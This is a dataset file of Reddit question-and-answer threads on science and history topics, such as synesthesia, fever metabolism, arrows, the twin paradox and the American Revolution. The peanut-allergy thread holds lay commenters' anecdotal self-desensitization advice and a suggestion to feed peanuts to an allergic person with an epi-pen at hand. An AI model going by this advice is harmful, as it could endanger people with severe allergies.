{"q_id": "4z3az9", "title": "Can fMRI show synesthesia? If so, do any animals other than man appear to have synesthetic faculties?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4z3az9/can_fmri_show_synesthesia_if_so_do_any_animals/", "answers": {"a_id": ["d6udmjg", "d6udpxp"], "score": [2, 2], "text": ["Honestly, I'd love to write a response detailing this and the mechanisms and neuropathology involved, but [this](_URL_0_) study examined exactly what your (first) question asked. Unfortunately, trying to determine how an animal senses an abstract condition such as this one, it would be tough to make sure your results are valid. Maybe somebody versed in Veterinary Biology could shed some light on this.", "FMRI has been used to study synesthesia, and it looks like a number of [studies](_URL_0_) have reported greater activation in area V4 (among other regions) in people with synesthesia vs. those without. [V4](_URL_1_) is a region in the ventral occipital cortex known to be involved in color and shape processing.\n\nFor your second question, I don't know of any specific studies of synesthesia in other animals, and a quick check on Google Scholar didn't turn up much. However, there are plenty of studies of the effect of hallucinogenic drugs (like LSD) in animals, and these are known to cause synesthesia in some people, so you might be interested in reading more about that.\n\nEdit: formatting"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/11914723"], ["https://hal.archives-ouvertes.fr/docs/00/15/05/99/PDF/Hubbard_CurrPsychReports.pdf", "https://en.m.wikipedia.org/wiki/Visual_cortex#V4"]]}
{"q_id": "15xaom", "title": "How many more calories per day do you burn if you have a high fever?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15xaom/how_many_more_calories_per_day_do_you_burn_if_you/", "answers": {"a_id": ["c7qoest", "c7qohwz", "c7qv8ou"], "score": [22, 5, 2], "text": ["A simple way to calculate body caloric requirement is to use the [Harris - Benedict Equation.](_URL_0_) This is a calculation that uses gender, weight, height and age to estimate your daily basal caloric requirement. There are a number of factors that can be used to adjust the equation (daily exercise, sickness, etc) and for fever it is estimated for every degree rise above normal the correction factor is 1.13 (Lawrence,Essentials of General Surgery). ", "According to [this](_URL_0_. fever) section of a United Nations University website, a rise of 1 degree Celsius requires a 13% increase in BMR. It also states the effects can vary among different infections. Wikipedia's [source](_URL_1_) seems to indicate that around 70% of caloric usage is consumed by baseline BMR. This seems to be about all the information you'd need to figure it out, but I'm not well-read on the subject and I imagine that figures for BMR and caloric intake vary too widely that any derived figures would be wildly inaccurate.\n\nThat said I'll take a stab at some hypothetical numbers. Assuming 2400 calories are required for a sedentary male aged 19-30 to maintain a net neutral energy usage, that would mean approximately .7 x 2400 = 1680 cal used by BMR. It follows that every rise in temperature of 1 degree c would necessitate the intake of 1680 x .13 =  218 additional calories per day. If that is accurate then the difference is non-negligible as it equates to something like 3 eggs or a bowl of pasta. \n\nEdit: As I was compiling this Criticalist posted a more well informed answer. You should probably ignore this.", "Could you increase your BMR by any noticeable degree if you were to work eight hours in a slightly cooler environment as opposed to a comfortable one?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Harris-Benedict_equation"], ["http://archive.unu.edu/unupress/food2/UID09E/UID09E0U.HTM#3.6", "http://en.wikipedia.org/wiki/Basal_metabolic_rate#cite_note-10"], []]}
{"q_id": "1q5h13", "title": "can women with pierced nipples lactate?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1q5h13/can_women_with_pierced_nipples_lactate/", "answers": {"a_id": ["cd9dl5z"], "score": [2], "text": ["[Well that was easy](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/explainlikeimfive/comments/1fxash/eli5_how_does_milk_not_come_out_of_a_womans/"]]}
{"q_id": "3hlyt5", "title": "Who was the first President of the United States whose parents were both born in the United States?", "selftext": "I think it's well-established that Martin Van Buren was the first president who was born in the United States, but who was the first president whose *parents* were both born in the United States?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3hlyt5/who_was_the_first_president_of_the_united_states/", "answers": {"a_id": ["cu8qsuw"], "score": [30], "text": ["Interesting question. It was Abe Lincoln, whose father and mother were born in Virginia in 1778 and 1784 respectively."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "eh0szl", "title": "why do arrows need to have the feathers on their ends?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eh0szl/eli5_why_do_arrows_need_to_have_the_feathers_on/", "answers": {"a_id": ["fcbribl", "fcbsjp7", "fcclk6h", "fceigty"], "score": [30, 59, 4, 2], "text": ["To add drag on the back side and keep the back side on the back.  Without a fin on the back it will tumble through the air; the fletching (the fin or feather on the back) pulls the arrow back with drag as it goes through the air keeping it stable.", "The idea behind this is to make the arrow more stable as it flies. Imagine the arrow as it flies. One would generally imagine it flying straight, but no one's perfect so imagine you just chucked it ( or yeeted if you prefer) ahead of you and it tumbles slightly end over end. The end with the feather has more drag which will slow the tumbling as it catches more air. On a smaller scale, this is what happens on a normal shot. The feather causes drag to enact a force on the back of the arrow turning the feather end away from the direction the arrow is going.", "Throw a stick overarm like a baseball and throw a piece of paper (don't crumple it) in the same manner.\n\nThe stick will travel farther than the paper because it has enough weight to overcome air resistance, but it will also tumble and you'll have trouble hitting anything you throw it at with a specific part of the stick. Importantly the stick will reliably move in the direction you throw it. Hard to predict how it will specifically tumble, but easy to predict what general direction it will travel in. \n\nThe paper won't travel worth a damn, it will be incredibly inaccurate and their is a good chance the paper ends up going the complete opposite direction in which you tried to throw it. If you watch the paper you should notice that the paper always travels by its edges leading. The paper is so lightweight that moving through the air by it's face encounters too much resistance from the air to it travels by it's edges and cuts through the air. Mechanically it's the same reason it's easier to cut something with the blade of a knife instead of the flat of the blade.\n\nAlign pieces of paper on a specially shaped stick and you can combine these properties. The feathers on an arrow will prevent the arrow from tumbling because the \"edge\" of the feathers will resist any attempts to travel by their face and since they are fixed to the arrow that \"edge\" is pointed in a specific direction. The shaft of the arrow has weight like the stick and is heavy enough to overcome wind resistance and travel far.", "If you want maximum penetration of an arrowhead through armour, the orientation of the arrow at the moment it strikes the target is very important. Even a small angle off a perpendicular contact may be enough to cause the arrow to slide off the target. The centre of gravity of an arrow is well towards the head, and the feathers at the back end give the arrow aerodynamic stability. Also bear in mind that when the arrow strikes the target it is intended that the energy should be directed at the arrow head. You want the shaft of the arrow to be subject to compression, not flexion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "l8onq", "title": "Do objects \"splash\" when they enter a planet's atmosphere?", "selftext": "A thought occurred to me this weekend watching a youngster \"splash\" puddles...\n\nSpecifically, that when one \"stomps\" a sufficiently shallow puddle, the water displaces to such a degree as to effectively \"empty\" the puddle.\n\nCan an object entering a planet's atmosphere have a similar effect?\n\nDoes the entering object cause enough displacement to allow some portion of the atmosphere to \"escape\" the planet?\n\nIf yes, could a suitably large object displace enough atmosphere to harm the planet's eco-system?\n\nIf yes, could enough frequency of smaller objects displace enough atmosphere to harm the planet's eco-system?\n\nThoughts?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/l8onq/do_objects_splash_when_they_enter_a_planets/", "answers": {"a_id": ["c2qp2li", "c2qp4rc", "c2qpat5", "c2qpsbd", "c2qqsz0", "c2qp2li", "c2qp4rc", "c2qpat5", "c2qpsbd", "c2qqsz0"], "score": [4, 53, 2, 9, 2, 4, 53, 2, 9, 2], "text": ["One thing to keep in mind is that the boundary between a puddle and the air is much different than the transition between the atmosphere and space.  Just ten miles above the surface of the Earth, the atmosphere is so much less dense that it is not possible to stay conscious without supplemental oxygen.  At an altitude of around forty miles, the atmosphere is a faint trace of gasses.  \n\nObjects entering or reentering the atmosphere pass through a much more gradual sort of transition than objects splashing into an ordinary puddle.  No doubt there is still some disturbance in the upper atmosphere when a large object plunges in at high speed, but any comparison to a pebble striking a puddle of water should be adjusted to consider that the upper atmosphere is to the lower atmosphere as a cloud of vapor is to a puddle of water.", "The primary reason liquids 'splash' is because liquids are incompressible, so when something (like a toddlers foot) enters a body of water, that water has to go 'somewhere'.  When you do the same with a body of gas, the gas on the leading edge can simply compress to take up less volume and make enough room for the object.  Also consider that the 'edge' of the atmosphere is not distinct like the free surface of a liquid pond, there is a gradual reduction in density over many kilometers of altitude - so the object doesn't suddenly hit the atmosphere, it gradually encounters increasingly dense gasses as it descends, from basically zero density in 'outer space' to the density of the atmosphere at ground level.\n\nWhile #Idonthavethefactstobackthisup, I suspect more atmosphere could be lost when objects *exit* the atmosphere, due to viscous drag and entrained flow, than when objects enter the atmosphere.", "another reason why objects in water splash is that there is sharp discontinuity in density between air and water. there is no sharp \"surface of atmosphere\".\n\nfor any part of atmosphere to leave earth completely it would have to reach escape velocity. but even if it does, it is very unlikely that the velocity of individual molecules will not dissipate (redistribute to many directions and many molecules because of bumps between them) before they would get too far.", "Yes and no. It is possible to \"skip\" along the atmosphere -- hypersonic waveriders are designed to exploit this nature of the upper atmosphere. There isn't a real *splash* however because the atmosphere compresses pretty well and just makes waves rather than actual splashes. \n\nFor some \"data\" look at [the altitude track](_URL_1_) from a high-altitude balloon from a group I help with. The balloon payload freefalls after burst (at the maximum altitude in the google-earth picture) and once the atmosphere is thick enough to sustain significant drag from the parachute, the descent is slowed. This is usually around 50,000-60,000 ft and if you look at the [other flights](_URL_2_) you'll find [similar trends](_URL_0_).\n\nEDIT: Aside from some weird flow visualization, there's not a good way to show that the atmosphere doesn't \"splash\" because you've got to recreate the exponential density gradient that you see from space to wherever you mark the \"start\" of the atmosphere where you're looking for a splash phenomena. I showed the balloon data because it's what I have and it's the easiest way to present the idea that you do indeed see a significant separation between space and the atmosphere. But only conceptually can I explain that there isn't a hard change in density like there is between air and water ergo no qualitative \"splash.\"", "So the next question obviously is: how much gas is lost when something leaves the atmosphere, and in the far future when we all have spaceships, would this become the next environmental problem?", "One thing to keep in mind is that the boundary between a puddle and the air is much different than the transition between the atmosphere and space.  Just ten miles above the surface of the Earth, the atmosphere is so much less dense that it is not possible to stay conscious without supplemental oxygen.  At an altitude of around forty miles, the atmosphere is a faint trace of gasses.  \n\nObjects entering or reentering the atmosphere pass through a much more gradual sort of transition than objects splashing into an ordinary puddle.  No doubt there is still some disturbance in the upper atmosphere when a large object plunges in at high speed, but any comparison to a pebble striking a puddle of water should be adjusted to consider that the upper atmosphere is to the lower atmosphere as a cloud of vapor is to a puddle of water.", "The primary reason liquids 'splash' is because liquids are incompressible, so when something (like a toddlers foot) enters a body of water, that water has to go 'somewhere'.  When you do the same with a body of gas, the gas on the leading edge can simply compress to take up less volume and make enough room for the object.  Also consider that the 'edge' of the atmosphere is not distinct like the free surface of a liquid pond, there is a gradual reduction in density over many kilometers of altitude - so the object doesn't suddenly hit the atmosphere, it gradually encounters increasingly dense gasses as it descends, from basically zero density in 'outer space' to the density of the atmosphere at ground level.\n\nWhile #Idonthavethefactstobackthisup, I suspect more atmosphere could be lost when objects *exit* the atmosphere, due to viscous drag and entrained flow, than when objects enter the atmosphere.", "another reason why objects in water splash is that there is sharp discontinuity in density between air and water. there is no sharp \"surface of atmosphere\".\n\nfor any part of atmosphere to leave earth completely it would have to reach escape velocity. but even if it does, it is very unlikely that the velocity of individual molecules will not dissipate (redistribute to many directions and many molecules because of bumps between them) before they would get too far.", "Yes and no. It is possible to \"skip\" along the atmosphere -- hypersonic waveriders are designed to exploit this nature of the upper atmosphere. There isn't a real *splash* however because the atmosphere compresses pretty well and just makes waves rather than actual splashes. \n\nFor some \"data\" look at [the altitude track](_URL_1_) from a high-altitude balloon from a group I help with. The balloon payload freefalls after burst (at the maximum altitude in the google-earth picture) and once the atmosphere is thick enough to sustain significant drag from the parachute, the descent is slowed. This is usually around 50,000-60,000 ft and if you look at the [other flights](_URL_2_) you'll find [similar trends](_URL_0_).\n\nEDIT: Aside from some weird flow visualization, there's not a good way to show that the atmosphere doesn't \"splash\" because you've got to recreate the exponential density gradient that you see from space to wherever you mark the \"start\" of the atmosphere where you're looking for a splash phenomena. I showed the balloon data because it's what I have and it's the easiest way to present the idea that you do indeed see a significant separation between space and the atmosphere. But only conceptually can I explain that there isn't a hard change in density like there is between air and water ergo no qualitative \"splash.\"", "So the next question obviously is: how much gas is lost when something leaves the atmosphere, and in the far future when we all have spaceships, would this become the next environmental problem?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.nearsys.com/arhab/flightdata/2009/a/index.htm", "http://www.nearsys.com/arhab/flightdata/2011/d/index.htm", "http://www.nearsys.com/arhab/flightdata/flightdata.htm"], [], [], [], [], ["http://www.nearsys.com/arhab/flightdata/2009/a/index.htm", "http://www.nearsys.com/arhab/flightdata/2011/d/index.htm", "http://www.nearsys.com/arhab/flightdata/flightdata.htm"], []]}
{"q_id": "nymk4", "title": "How far are we from a cure of peanut allergies?", "selftext": "I have a friend who is allergic, and it is my life's dream to one day share a P.B and J or a Reese's cup with him. how long will i be waiting for that to occur safely?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nymk4/how_far_are_we_from_a_cure_of_peanut_allergies/", "answers": {"a_id": ["c3cywzv", "c3cyzwc", "c3czj6v", "c3czjmw", "c3czqek", "c3czqoq", "c3czv65", "c3czxtw", "c3d0gzc", "c3d0h84", "c3d108b"], "score": [52, 8, 3, 4, 9, 5, 7, 2, 2, 3, 3], "text": ["When it comes to allergies which are over-reactive immune responses, there's no simple \"cure\". There are treatments for when you get an attack, sure. But if you want to get rid of the allergy as a whole you have to manipulate the cells that are part of the immune response, and this would require (most likely, not sure) some form on DNA manipulation (aka gene therapy). \n\nThis technology is not perfected yet so you might have to dream on for a while longer\n\n*Edit: As ohpuic mentioned, there are desensitization programs which pretty much just involves giving the person with allergies increasingly larger doses of whatever he/she is allergic to in order to build up a tolerance. If you trust wikipedia as a reliable enough source then there is some info to be read upon here _URL_0_", "There are desensitization programs, but I'm not sure how well they work. And even in the best case scenario the relief will be temporary. He could start on that and share a PB & J sandwich with you and go back to his usual self after a while.", "How about dog allergies? I'd love to be able to go to my family's houses and hang out for more than 20 minutes without getting sick.", "Wouldn't peanuts themselves be the cure for the allergies? Constant exposure to peanuts would build immunity?", "Peanut allergy patient here: Even if there is a cure, at least for me, eating a PB & J is out of the question, there's just too much of a mental link. I tried my damndest a few years ago to eat sunflower butter sandwiches and the feeling, even though it was safe, was just too weird for me.", "Peanut desensitization programs in the U.S. and various other countries (or oral immunotherapy, as they are also known) are still very much in the trial phase. There has been some widespread success and it looks very promising but it's not advised by the medical community for these treatments to be given outside of clinical trials quite yet. Like any other clinical trial, there is no telling when exactly it will be available to the public, but it will be a while.\n\nHere is a paper if you're interested:\n\nPaper: [Oral immunotherapy for the treatment of peanut allergy: systematic review of six case series studies](_URL_0_)\n\n", "I'm prepared for this to be downvoted, but I'm actually curious as to what askscience thinks of this:\n\nA friend of mine \"cured\" his peanut allergy by eating a peanut a day for more than a year, then slowly started eating more.\n\nIt's anecdotal, so take it with a large grain of salt.  I trust myself and my friend, but this is the internet, so that doesn't mean you should trust me or my friend. That said, it really did work for him.", "Allergies are an immune response and are an intrinsic part of each individual's body.  There are specific immune cells (out of a subset of the larger immune system) in the body that react against the peanut allergen.  Because these cells are shaped both by genetics and by the environment (especially while developing in early childhood), there is no single answer or \"cure\" for allergies.  Gene therapy likely won't work because of the environmental component that contributed to the development of the allergy, and also because targeting to specific immune cells that are reactive against the peanut allergens is impossible.  You would have to suppress a good part of the entire immune system.\n\nAlthough I don't claim to be an expert on the aforementioned tolerance programs, I'm not sure about them and I think they sound dangerous.  Every time you encounter the same allergen, your body should react more strongly and produce a worse allergic reaction.  This is because every time you have a reaction, the body retains memory cells specific to that allergen and allows it to react more quickly the next time you see it.\n\nThe only way for us to treat allergies (for the foreseeable future) is to treat the symptoms of an allergic reaction; there is no way to \"cure\" the allergy.  I guess if you *really* want to share that PBJ, depending on how allergic he is, get an epi-pen or be ready to call an ambulance.", "There is an experimental treatment for allergies which involves hookworms or whipworms. Not sure if that would help and no american doctor would prescribe it.", "I hear that [helminthic](_URL_0_) therapy looks promising.", "Is it true most people found to have some form of allergies (ie. peanut, strawberry etc) are predominantly found in the US? Also how does one found out that one is allergic to some food; especially when it's the lethal kind. \nI always picture mom feeding sample of food with one hand and with an epi-pen on the other. Sorry if these questions sound dumb but I came from Asia and food allergies are so uncommon. At least I never met anyone that has any (sampling might be small since I am a redditor)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Allergy#Treatment"], [], [], [], [], ["http://www.thepcrj.org/journ/view_article.php?article_id=851"], [], [], [], ["http://en.wikipedia.org/wiki/Helminthic_therapy"], []]}
{"q_id": "10f896", "title": "What was the extent of involvement by France, Spain, and The Dutch Kingdom in The American Revolutionary war?", "selftext": "All I really know is that they provided supplies and naval support. Can anyone give some of the specifics?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/10f896/what_was_the_extent_of_involvement_by_france/", "answers": {"a_id": ["c6czv60", "c6d02wl", "c6d0to9", "c6d1nl2", "c6d318r", "c6d9i2t"], "score": [27, 12, 11, 8, 5, 10], "text": ["In brief:\n\nFrance - Extensive. Primary supplier of arms, gunpowder, and funds for the Continental Army. Twice sent armies and fleets to directly aid the Revolutionary cause. Also fought the British in the Caribbean and India, diverting British attention (and therefore, men, ships, and money) away from North America.\n\nSpain - Little direct support of the Americans, as they didn't want to stir revolution in their own colonies. Did provide a large supply of beef once, and turned over a captured supply of British uniforms that clothed at least 3,000 men for the last 2 years of the war. Far more importantly, besieged Gibraltar, raided British shipping, and threatened Jamaica.\n\nThe Dutch - Provided some loans, but more importantly an important trade post on the island of St. Estasius. This allowed American ships who could evade the British fleet to trade with the outside world, thus keeping the economy (particularly of Massachusetts) floating. Eventually went to war with Britain, requiring even more resources be diverted to the Caribbean. ", "Think of the American War of Independence as a battle between the French and the English, and you'll have an easier time.  \n\nFor example, at Yorktown, there were more French regulars than Americans, and that is from two different angles:  There was a French army under Rochambeau, and the American army under Washington had a sizable contingent of French troops fighting in American uniforms.  Not to mention that all of the mortars/artillery were operated by French engineers.\n\nThen let's look at the naval side of the war, which is extensive.  Almost exclusively a French affair as the raising and upkeep of navies is an expensive venture.  Of course, there are a few exceptions to this.  \n\nWhen it comes to the Spanish, there isn't much love between them and the United Kingdom.  At the time, they were besieging Gibraltar... if I recall, it started in 1779 and lasted more than three years.  I can't speak of Spanish colonies in North America, though.    ", "Just a small rectification: The Netherlands was a Republic up to 1795. In 1806 it became the Kingdom of Holland and in 1815 the United Kingdom of the Netherlands. The Dutch role was mainly limited to arms shipments.", "I always thought it was interesting that nationality wise, after British (who were obviously fighting on both sides if you consider Americans to be Colonial British at that point) the biggest nationality were Germans. There were plenty of German settlers fighting for independence to become Americans; and the British used German mercenaries (like Hessians) too.\n\nThis is kinda out of scope because the German governments might have not done much, but they sure did supply a lot of people to both sides.", "While the (British) Royal Navy was far superior to any one of France, Spain or the Netherlands with their forces combined they ~~are captain planet~~ posed a very real threat to the British Empire.", "I cannot speak to the Dutch, or (much) Spanish involvement but I am doing a Franco-American Research project on a Grant, so here goes;\n\nIn 1775 the Committee of Secret Correspondence was formed in congress to solicit aide from the French. Despite being enemies not 20 years prior, they were seen as ideal in the sense that they had a long-standing feud with England, though they had no other motivation to join the conflict. In 1776 Congress dispatched Benjamin Franklin to the post of ambassador, joining other notables such as John Jay, John Adams, Silas Deane, and Robert Morrison. He left in December of that same year to take up post in Paris.\n\nTreaties of Alliance and Commerce weren't signed until February of 1778, which gave official aide to the American Revolution, and the continental army. However as early as 1776 (the date is somewhat hard to determine officially) the French Foreign Minister, on the Authority of Louis XVI, secretly approached a French aristocrat named Pierre Beaumarchais to send gunpowder and other supplies to the Continental Army through the Dutch West Trading company, under the guise of Portuguese trading company. These early supplies were essential to arm the Continental Army. Also at the time, the French weren't officially at war with England. Part of my research will hopefully unveil more about the relationship between Beaumarchais and another American Diplomat Silas Deane, who, through working together, transported for a personal profit many other war supplies throughout the remainder of the war.\n\nAfter the treaties were signed in Feb. 1778, the British were faced with the possibility of a two-front war, as France had an established Navy in Europe, and the desire to strike back for the losses of the previous seven-years war. British merchants also now had to fear the French Navy, in addition to the American Privateers. There was fear among British Admirals that attacking a French Fleet leaving port would expose their own shore to a landing, and their \"Wooden Wall\" was beginning to be stretched thin.\n\nAn entire army of French Regulars under Rochambeau landed in 1780, numbering approximately 7,000 in addition to a French Fleet. This introduced quite the problem for the British, who now had to be concerned for the protection of their own home shore, as France still had two fleets in residence to protect shipping interests. The army, and fleet, would later be instrumental in the Yorktown Campaign. He also brought fresh supplies for the Continental troops in both food and ammunition.\n\nFurther, Admiral d'Estaing was dispatched with a fleet of 26 ships in 1778, and changed the dynamic of the war to include naval battle. At this point, you have to now remember how previously the British exerted an enormous amount of control over the colonies in the conflict simply by controlling the seas, and therefore the ports, allowing for a concentration of efforts on the land battles by British Regulars. The American navy was fledgling and small and incapable of matching British Ships of the line, and trade was harried by frigates. \n\nd'Estaing's fleet therefore forced the British to go on the defensive, and there were several fleet engagements along the Eastern Seaboard, and in the West Indies, requiring that the British divert their attention away from the landed conflicts. His fleet of ships had two separate campaigns, and each time brought over fresh supplies. \n\nBeyond physical, military, and naval support, the French also gave a tremendous sum of money to the Americans - something in the ballpark of 5 million livres, which nearly bankrupted the royal treasury, not counting the cost of deploying their fleets and troops for the war effort. All of my research and knowledge seems to indicate that the French Involvement is truly what turned the tide of war, among many other contributing factors.\n\nSources: Gordon Woods *Americanization of Benjamin Franklin*, Jonathan Dull *A Diplomatic History of the American Revolution, and Sameul Bemis *The Diplomacy of the American Revolution*\n\n(From my limited research of the diplomacy with the Spanish) The Spanish were much less willing to enter the conflict initially because they doubted the ability of the Americans to succeed and didn't want to anger the British. Similarly, they felt their florida colony would be threatened if the Americans won. Eventually they realized that the tide of battle had shifted in favor of the Americans, and signed a half-hearted alliance (in part because Jay was nearly diplomatically inept) in order to try and extract protection of their existing colony for services rendered. Though they were far less invested than the French."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "frqr0s", "title": "Is collective memory of World War II a subject studied by american historians ?", "selftext": "I'm a french history student and I had a hard time trying to find something about american memory of World War II. In France this is an important subject (around the collaboration and resistance), studied in highschool and widely developed as a concept in university.  \nIn american popular culture, this is a very common subject as well, from *Saving Private Ryan* to games like *Call of Duty*. I've read a lot about the importance of the Constitution, the Founding Fathers even the Civil War but not much about World War II.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/frqr0s/is_collective_memory_of_world_war_ii_a_subject/", "answers": {"a_id": ["flx4yix", "flylrgk"], "score": [7, 2], "text": ["If you want to read something good about \"collective memory\" and Americans in WWII you have to change the terminology.\n\n\"Collective memory\" just isn't a phrase many American academics who specialize in 20th century history use.\n\nSome of the best big books about American experiences in WWII weren't written by academics.\n\nIf you are interested in the subject and haven't read it you should get a copy of Studs Terkel's book, \"The Good War.\"\n\n The buzz words American academics use are \"oral history\" or \"historical trends\" or \"common man experience.\" \n\nThe other thing you need to realize is that the United States fought a war on two fronts. (It was actually a global war for the United States...) but that means that for millions of Americans their war was the Pacific, not the European theatre.", "I agree, I think there's a terminology, and even methodological, difference at play. I've seen collective memory used as a frame of reference more in Latin American or early American history, but not much in 20th century studies. There's of course Tom Brokaw's book The Greatest Generation, which certainly would represent how some Americans remember the generation that went through WWII. \n\nI also just did a quick search on my university's (I'm in the U.S.) library website, and there was a dissertation on ProQuest Central called [Remembering World War II in the late 1990s: A case of prosthetic memory](_URL_0_), by Bullinger, Jonathan. It looks interesting if you are able to see it.\n\nI think most of the work on WWII might focus more on the experiences of soldiers, rather than on the memories of civilians. I'm sure there's also been significant study around collective memory of Americans who were put in Japanese internment camps during the war. Hope that helps a bit and best of luck!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://rutgers.primo.exlibrisgroup.com/discovery/fulldisplay?docid=proquest1880157257&amp;context=PC&amp;vid=01RUT_INST:01RUT&amp;lang=en&amp;adaptor=Primo%20Central&amp;tab=Everything&amp;query=any,contains,collective%20memory%20american%20world%20war%20II&amp;offset=0"]]}
{"q_id": "175xox", "title": "If you had one ice pack, where would you place it on your skin to optimally lower your body temperature?", "selftext": "My theory is that you would place it on a vein near the surface of your skin, for instance, the jugular. Blood passes through there and it seems that would distribute colder blood throughout your body.\n\nI thought this might come in handy if someone ever was affected by a heat stroke.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/175xox/if_you_had_one_ice_pack_where_would_you_place_it/", "answers": {"a_id": ["c82qnav", "c82rdse"], "score": [6, 2], "text": ["Great minds...\n\n _URL_0_\n\nTop answer: \n\n > The three best places for an ice-pack would be the sides of your neck, under your arms, and in your groin area. This allows you to cool your carotid, brachial, and femoral arteries respectively. The idea is that you cool the largest possible volume of blood and that cooler blood dissipates into the tissues and absorbs energy (heat) resulting in a net cooling effect. At this point I'm just guessing, but if I had a single ice pack I'd probably put it between my legs. This way I'd get multiple major blood vessels delivering blood to both sides of the body.", "There is actually a commercial product working on this principle, it is a glove that rapidly cools the blood in your hand allowing rapid recovery while exercising. [link to article,](_URL_0_)\n[paper](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/askscience/comments/jfchk/if_youre_overheating_what_is_the_most_efficient/"], ["http://news.cnet.com/8301-17938_105-57504394-1/outperform-steroids-with-this-body-cooling-glove/", "http://corecontrolcooling.com/wp-content/uploads/2012/11/Grahn-et-al-2012-JSCR.pdf"]]}
{"q_id": "3pme31", "title": "How does acceleration determine time dilation in The Twin Paradox?", "selftext": "For those who don't know, [you can read about the twin paradox here](_URL_0_).\n\nSince, relatively speaking, either twin could be seen as moving, how do we determine which twin should age more slowly?\n\nI googled this and the answer seems to have to do with the traveling twin's acceleration/deceleration -- switching inertial frames.  It occurred to me that the acceleration can be a very tiny part of the traveling twin's trip which means that, for the vast majority of the trip, the traveling twin should be an inertial observer, just like the twin on earth.\n\nThere is a paragraph on [the wikipedia page](_URL_1_) about \"the role of acceleration\" but I don't understand what it's saying.\n\nAny help/resources explaining this for a non-physicist would be much appreciated.  In short, how would you explain this to, say, a lowly patent clerk?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3pme31/how_does_acceleration_determine_time_dilation_in/", "answers": {"a_id": ["cw7k47r", "cw7wmh1"], "score": [5, 3], "text": ["You can use the search function of this sub. I myself have written at least three posts on this problem: [1](_URL_2_) [2](_URL_0_) [3](_URL_1_).\n\nBoth twins travel from one event (the departure of the traveling twin from Earth) to another event (the arrival of the traveling twin back on Earth) on different world lines. The twin on Earth is in an (approximate) inertial frame, and hence his world line is a geodesic, which has maximum proper time between two fixed events. So the twin on Earth ages more.", "Take a look at [this](_URL_0_) diagram. The blue and red lines denote \"lines of simultaneity\" for the traveling twin. Every event that is on the same line of simultaneity happens *at the same time* according to the traveling twin. Note that while the twin is traveling in an inertial frame either towards or away the lines of simultaneity intersect the stationary twin's world line at evenly spaced separations. This makes sense, because the traveling twin should still see the stationary twin's clocks tick at a constant rate. Actually, it's impossible to tell by looking at the diagram, but if you work out the math you find that the traveling twin will see the stationary twin's clock tick *slower* than their own. This has to be the case, because in the traveling twin's frame it's the stationary twin that is moving.\n\nNow, look at how the last blue line and the first red line have a massive gap in between when they intersect with the stationary twin's world line. Even though both of those lines originate at the same point in the traveling twin's world line (the point when that twin instantaneously accelerates to turn around). This means that both of those events on the stationary twin's world line *happen at the same time* from the perspective of the traveling twin. Thus, in the case where the traveling twin changes direction instantaneously, they observe the stationary twin's clock jump forward significantly. So, even though the stationary twin's clock will still tick slower than the traveling twin's clock while the traveling twin is returning, there was a sudden jump ahead that results in the stationary twin being older when they return."]}, "title_urls": [], "selftext_urls": ["http://www.einstein-online.info/spotlights/Twins", "https://en.wikipedia.org/wiki/Twin_paradox"], "answers_urls": [["https://www.reddit.com/r/askscience/comments/3iub5h/how_does_the_twin_paradox_work_surely_the_rate_at/cujsnak", "https://www.reddit.com/r/askscience/comments/3gbt1y/regarding_relativity_if_an_object_moves_away_from/ctwq8nd", "https://www.reddit.com/r/askscience/comments/3n6nho/special_relativity_time_dilation_is_proper_time/cvlghpz"], ["https://upload.wikimedia.org/wikipedia/commons/thumb/c/ce/Twin_Paradox_Minkowski_Diagram.svg/485px-Twin_Paradox_Minkowski_Diagram.svg.png"]]}
{"q_id": "1f617d", "title": "WWII love letters?", "selftext": "I have hundreds and hundreds of love letters between my grandfather and grandmother during the war. What do I do with them? Do museums have interest in things like these? \n\nHopefully this is the right place to get some advice.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1f617d/wwii_love_letters/", "answers": {"a_id": ["ca74sgo"], "score": [2], "text": ["Museums, no, archives, YES! \n\nI would try a community archives of the area they are from. You can shoot me a PM with the location they lived and we can try to find these letters a home together. :) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
